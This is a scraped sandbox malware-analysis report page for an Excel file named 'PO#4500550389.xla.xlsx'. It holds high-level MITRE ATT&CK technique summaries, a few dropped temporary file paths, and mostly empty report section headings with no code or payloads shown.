Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ( Security Software Discovery ) to evade.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO#4500550389.xla.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\Users\user\AppData\Local\Temp\E3505C79.tmp

C:\Users\user\AppData\Local\Temp\~DFE7FB744BCB7D127A.TMP

C:\Users\user\Desktop\~$PO#4500550389.xla.xlsx

Static File Info

General

File Icon

Static OLE Info

General

OLE File "PO#4500550389.xla.xlsx"

Indicators

Summary

Document Summary

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General

VBA Code

VBA File Name: Sheet2.cls, Stream Size: 977

General

VBA Code

VBA File Name: Sheet3.cls, Stream Size: 977

General

VBA Code

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General

VBA Code

Windows Analysis Report
PO#4500550389.xla.xlsx